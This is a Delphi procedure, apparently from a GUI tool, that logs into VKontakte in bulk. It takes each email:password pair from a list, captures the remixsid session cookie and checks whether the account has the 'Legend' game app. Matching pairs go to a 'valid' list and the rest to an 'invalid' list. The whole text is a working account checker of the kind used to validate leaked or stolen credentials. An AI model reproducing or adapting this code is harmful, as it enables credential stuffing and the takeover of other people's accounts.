procedure TMainForm.CheckVKLegendButtonClick(Sender: TObject);  var  param : TStringList;  i : integer;  email, pass, s, cookie, post : string;  begin  param:=TStringList.Create;  for i:=0 to AllListBox.Items.Count-1 do begin  DivideVK(AllListBox.Items[i], email,pass);  param.Add('email='+email);  param.Add('pass='+pass);  param.Add('expire=');  param.Add('vk=1');  s:=IdHTTP2.Post('http://login.vk.com/?act=login',param);  param.Clear;  Delete(s, 1, Pos('id=''s'' value=''', s) + 13);  Delete(s, 57, Pos('''/>', s) + 35);  param.Add('op=slogin');  param.Add('redirect=1');  param.Add('expire=0');  param.Add('to=');  param.Add('s='+s);  s:=IdHTTP2.Post('http://vkontakte.ru/login.php',param);  Memo2.Lines.Add(idhttp2.Response.RawHeaders.CommaText);  cookie:=copy(Memo2.Text,pos('"Set-Cookie: remixsid=',Memo2.Text)+22,56);  ShowMessage(cookie);  IdHTTP2.Request.CustomHeaders.Add('Cookie: remixsid='+cookie+';');  post:=IdHTTP2.Get('http://vkontakte.ru/apps.php');  if Pos('Легенда - первая настоящая ролевая игра ВКонтакте!',post)>0 then  ValibLegendBox.Items.Add(email+':'+pass) else  InvalidLegendBox.Items.Add(email+':'+pass);  IdCookieManager2.CookieCollection.Clear;  end;  end;